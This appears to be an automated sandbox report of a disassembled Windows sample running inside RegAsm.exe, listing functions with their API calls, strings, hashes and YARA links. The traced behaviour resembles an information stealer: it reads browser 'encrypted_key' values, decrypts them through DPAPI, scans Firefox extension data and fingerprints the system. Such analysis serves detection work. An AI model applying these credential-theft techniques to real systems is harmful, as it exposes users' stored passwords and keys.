API ID: Heap$AllocateOpenProcessQueryValue
String ID: Windows 11
API String ID: 1425999871-2517555085
Opcode ID: 813dbca2067c97d98e235470847fe696af0ddf3f5c7f6d76e17b7576a1632fcb
Instruction ID: 623d56dedfc33f0f43457aff5d0fe84441d05afd5c0ff115645e1fd7b0aa20ad
Opcode Fuzzy Hash: 813dbca2067c97d98e235470847fe696af0ddf3f5c7f6d76e17b7576a1632fcb
Instruction Fuzzy Hash: D9F06271A00304FBEB109B91DD0AFAA7BBEEF44741F101075F702E61A0D7B59A809B64

Function 00410A61 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 36memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00410AD3,00410A10), ref: 00410A75
RtlAllocateHeap.NTDLL(00000000), ref: 00410A7C
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,?,?,?,?,00410AD3,00410A10), ref: 00410A9A
RegQueryValueExA.KERNEL32(?,CurrentBuildNumber,00000000,00000000,00000000,000000FF,?,?,?,00410AD3,00410A10), ref: 00410AB5

Strings

CurrentBuildNumber, xrefs: 00410AAD

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocateOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 1425999871-1022791448
Opcode ID: a29d85433dbac752fe51928fef1b7fa77c5b243ae86c70a5689d6ca1eef076d9
Instruction ID: b87e85a340bacee545964c62edf20afe01ac65ebfcef8ea608cea8463bb944f1
Opcode Fuzzy Hash: a29d85433dbac752fe51928fef1b7fa77c5b243ae86c70a5689d6ca1eef076d9
Instruction Fuzzy Hash: 9EF054B1A40204FFEB105B91DD0FFAF7FBEEB44704F101069F606A51A1D7B45A409B54

Function 00404AA7 Relevance: 7.6, APIs: 5, Instructions: 50stringnetworkCOMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AD9
??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404ADF
??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE5
lstrlen.KERNEL32(000000FF,00000000,?), ref: 00404AF7
InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404AFF

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID:
API String ID: 1274457161-0
Opcode ID: 2ba87422f668b5935e202cafa337b019e6a4bb24662e26b8206bdd56285721b5
Instruction ID: f12a4ecf441d468422f881c9fffed4ceabe9e6a6c79fa963c056f548c72690b1
Opcode Fuzzy Hash: 2ba87422f668b5935e202cafa337b019e6a4bb24662e26b8206bdd56285721b5
Instruction Fuzzy Hash: 72011E72D00218ABCB149BA9DC45ADEBFB8AF55330F108226F925F72E0D67456058B94

Function 1FEBFD40 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 134fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?,?), ref: 1FEBFE03

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 1FEBFE78
winRead, xrefs: 1FEBFE3D

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID: FileRead
String ID: delayed %dms for lock/sharing conflict at line %d$winRead
API String ID: 2738559852-1843600136
Opcode ID: 953e71bc154791a1e8f392095a787bb003bdca9bf435e6bbd45f1e9f55f61687
Instruction ID: 5558a0b249ad92cd8afcc51cfcee0c2702bbd6ffc5cae4aec15a725ae2de201c
Opcode Fuzzy Hash: 953e71bc154791a1e8f392095a787bb003bdca9bf435e6bbd45f1e9f55f61687
Instruction Fuzzy Hash: 98410672A043856BD300DFA4CD81AABB7A9FFC4214F84092DF645C7611E736F9198BE2

Function 00408369 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 00408382

Part of subcall function 0041039F: lstrcpy.KERNEL32(00000000,00000000), ref: 004103C5

Part of subcall function 00410401: lstrlen.KERNEL32(?,?,0040672B,004359BB), ref: 00410407
Part of subcall function 00410401: lstrcpy.KERNEL32(00000000,00000000), ref: 00410439

Part of subcall function 004104C1: lstrlen.KERNEL32(?,00000000,?,0040605C,00436824), ref: 004104D5
Part of subcall function 004104C1: lstrcpy.KERNEL32(00000000,?), ref: 004104FD
Part of subcall function 004104C1: lstrcat.KERNEL32(?,00000000), ref: 00410508

Part of subcall function 0041047F: lstrcpy.KERNEL32(00000000,?), ref: 004104AD
Part of subcall function 0041047F: lstrcat.KERNEL32(?,00000000), ref: 004104B7

Part of subcall function 00410445: lstrcpy.KERNEL32(00000000,?), ref: 00410475

SetEnvironmentVariableA.KERNEL32(?,0043614C,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,004357B7), ref: 004083D7
LoadLibraryA.KERNEL32 ref: 004083EB

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 00408376, 0040837B, 00408395

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-1193256905
Opcode ID: 255e482f668fe48f6977f90b580c5da0f4a5cc81563acae4b6cfed5f19e697c1
Instruction ID: d728254d99ada46e65a096934a04f751cab9b1fccf539232b09779c5bdecf6ba
Opcode Fuzzy Hash: 255e482f668fe48f6977f90b580c5da0f4a5cc81563acae4b6cfed5f19e697c1
Instruction Fuzzy Hash: CB316035D01111EBCB11AF2AED01A5977B2AF48714F10613BF444B32B1DBBA29418FC9

Function 0041153C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,00000000), ref: 004115AE
lstrcat.KERNEL32(?,00435E9C), ref: 004115CB
GetCurrentHwProfileA.ADVAPI32(?), ref: 00411557

Part of subcall function 0041039F: lstrcpy.KERNEL32(00000000,00000000), ref: 004103C5

Part of subcall function 0041228F: malloc.MSVCRT ref: 00412294
Part of subcall function 0041228F: strncpy.MSVCRT ref: 004122A5

Strings

Unknown, xrefs: 004115F4

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$CurrentProfilelstrcpymallocstrncpy
String ID: Unknown
API String ID: 2907553879-1654365787
Opcode ID: e066670a12b1c4482e94a53bf3aee2e309a0460c190eeb91becd9a8ebee70b6f
Instruction ID: de3cbf273689083ee1fd442a1aa9dd9c14cd02c55257d6ab8092b202a86de945
Opcode Fuzzy Hash: e066670a12b1c4482e94a53bf3aee2e309a0460c190eeb91becd9a8ebee70b6f
Instruction Fuzzy Hash: 38113371A00218ABCB10AB65DD46BDD73B8AF44704F4004F6BA45F7191DAB8ABC48B58

Function 0040B1EA Relevance: 6.2, APIs: 4, Instructions: 196filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041039F: lstrcpy.KERNEL32(00000000,00000000), ref: 004103C5

Part of subcall function 00411B02: GetSystemTime.KERNEL32(?,0043579A), ref: 00411B31

Part of subcall function 004104C1: lstrlen.KERNEL32(?,00000000,?,0040605C,00436824), ref: 004104D5
Part of subcall function 004104C1: lstrcpy.KERNEL32(00000000,?), ref: 004104FD
Part of subcall function 004104C1: lstrcat.KERNEL32(?,00000000), ref: 00410508

Part of subcall function 0041047F: lstrcpy.KERNEL32(00000000,?), ref: 004104AD
Part of subcall function 0041047F: lstrcat.KERNEL32(?,00000000), ref: 004104B7

Part of subcall function 00410445: lstrcpy.KERNEL32(00000000,?), ref: 00410475

CopyFileA.KERNEL32(?,?,00000001,004363B8,00435812), ref: 0040B28F
lstrlen.KERNEL32(?), ref: 0040B3E1
lstrlen.KERNEL32(?), ref: 0040B3FC
DeleteFileA.KERNEL32(?), ref: 0040B44E

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 4714c7766d7277192dfc5f4efba3a1369eeea777fdadf3720b248848fc60bbe3
Instruction ID: d0ca3701f2e6ef22b2560cfe47a5ee614d070766de8866d24b090e7df7e27639
Opcode Fuzzy Hash: 4714c7766d7277192dfc5f4efba3a1369eeea777fdadf3720b248848fc60bbe3
Instruction Fuzzy Hash: A371F872E001199BCF00FBA6DE469CD7771EF44308F210436F904B71A2DBB9AE958B99

Function 0040D2C6 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 125stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004103D1: lstrcpy.KERNEL32(00000000,?), ref: 004103F0

Part of subcall function 00407F9E: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00407FB9
Part of subcall function 00407F9E: GetFileSizeEx.KERNEL32(00000000,?), ref: 00407FD0
Part of subcall function 00407F9E: LocalAlloc.KERNEL32(00000040,?), ref: 00407FE7
Part of subcall function 00407F9E: ReadFile.KERNEL32(?,00000000,?,?,00000000), ref: 00407FFE
Part of subcall function 00407F9E: CloseHandle.KERNEL32(?), ref: 00408026

Part of subcall function 00411CD7: LocalAlloc.KERNEL32(00000040,?,?,?,?,004081CC,?), ref: 00411CEF

Part of subcall function 0041039F: lstrcpy.KERNEL32(00000000,00000000), ref: 004103C5

Part of subcall function 004104C1: lstrlen.KERNEL32(?,00000000,?,0040605C,00436824), ref: 004104D5
Part of subcall function 004104C1: lstrcpy.KERNEL32(00000000,?), ref: 004104FD
Part of subcall function 004104C1: lstrcat.KERNEL32(?,00000000), ref: 00410508

Part of subcall function 00410445: lstrcpy.KERNEL32(00000000,?), ref: 00410475

Part of subcall function 0041047F: lstrcpy.KERNEL32(00000000,?), ref: 004104AD
Part of subcall function 0041047F: lstrcat.KERNEL32(?,00000000), ref: 004104B7

StrStrA.SHLWAPI(00000000,?,004364DC,004358B6), ref: 0040D357
lstrlen.KERNEL32(?), ref: 0040D36A

Strings

^userContextId=4294967295, xrefs: 0040D38F
moz-extension+++, xrefs: 0040D395

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$File$AllocLocallstrcatlstrlen$CloseCreateHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 161838763-3310892237
Opcode ID: 53f31c7ab8210d41c1219fa51be9d45a240a8307825de1e2e3ee16db631cb4b7
Instruction ID: 9d2dcfc02b7f02f9e6c5c6b40b04884318c48bc5ff3c61956560fe61d1a6bab9
Opcode Fuzzy Hash: 53f31c7ab8210d41c1219fa51be9d45a240a8307825de1e2e3ee16db631cb4b7
Instruction Fuzzy Hash: 87411C729001199BCF00FFA6DA869CD7774AF44308F510136FD04B71A2DAB9AE998BD9

Function 004151D3 Relevance: 6.1, APIs: 4, Instructions: 107registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00020119,?), ref: 00415228
RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,000000FF), ref: 0041524E
lstrcat.KERNEL32(?,?), ref: 00415289
lstrcat.KERNEL32(?), ref: 0041529C

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$OpenQueryValue
String ID:
API String ID: 122762952-0
Opcode ID: 8ad02e5be55fe98ff71a832aa77565d2f793918cd1768bdf1e7f830c2e9095ac
Instruction ID: 737491d8910615819e1b3e2cbbbfef4e91f208ac2230d89d28cee3fb137d6067
Opcode Fuzzy Hash: 8ad02e5be55fe98ff71a832aa77565d2f793918cd1768bdf1e7f830c2e9095ac
Instruction Fuzzy Hash: 1F41A071D4001C9FCB14EB60ED86EE9B7BAFB58304F1004BAB10DA31A1DA759ED68F94

Function 0041B757 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 0041B7A4

Memory Dump Source

Source File: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 0611f4906b477d7118e7f3146b3739735ee699a7ee1df651bb962f1fae4f05ae
Instruction ID: 78c640be41ec27c136a51c0069e8784bea40d07345fee762588c3c26615dec46
Opcode Fuzzy Hash: 0611f4906b477d7118e7f3146b3739735ee699a7ee1df651bb962f1fae4f05ae
Instruction Fuzzy Hash: EC3178B0900700DFD7306F26888476376ECF714B58F108A3FE59686691D33898C58B99

Function 00408191 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

Part of subcall function 0041039F: lstrcpy.KERNEL32(00000000,00000000), ref: 004103C5

Part of subcall function 00407F9E: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00407FB9
Part of subcall function 00407F9E: GetFileSizeEx.KERNEL32(00000000,?), ref: 00407FD0
Part of subcall function 00407F9E: LocalAlloc.KERNEL32(00000040,?), ref: 00407FE7
Part of subcall function 00407F9E: ReadFile.KERNEL32(?,00000000,?,?,00000000), ref: 00407FFE
Part of subcall function 00407F9E: CloseHandle.KERNEL32(?), ref: 00408026

Part of subcall function 00411CD7: LocalAlloc.KERNEL32(00000040,?,?,?,?,004081CC,?), ref: 00411CEF

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 004081D7

Part of subcall function 0040803A: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00408052
Part of subcall function 0040803A: LocalAlloc.KERNEL32(00000040,?,?,?,00406716,?), ref: 00408060
Part of subcall function 0040803A: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00408076
Part of subcall function 0040803A: LocalFree.KERNEL32(?,?,?,00406716,?), ref: 00408085

Part of subcall function 00408093: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 004080B6
Part of subcall function 00408093: LocalAlloc.KERNEL32(00000040,?), ref: 004080CA
Part of subcall function 00408093: LocalFree.KERNEL32(?), ref: 004080EF

Strings

, xrefs: 00408233
"encrypted_key":", xrefs: 004081D1
DPAPI, xrefs: 0040820D

Memory Dump Source

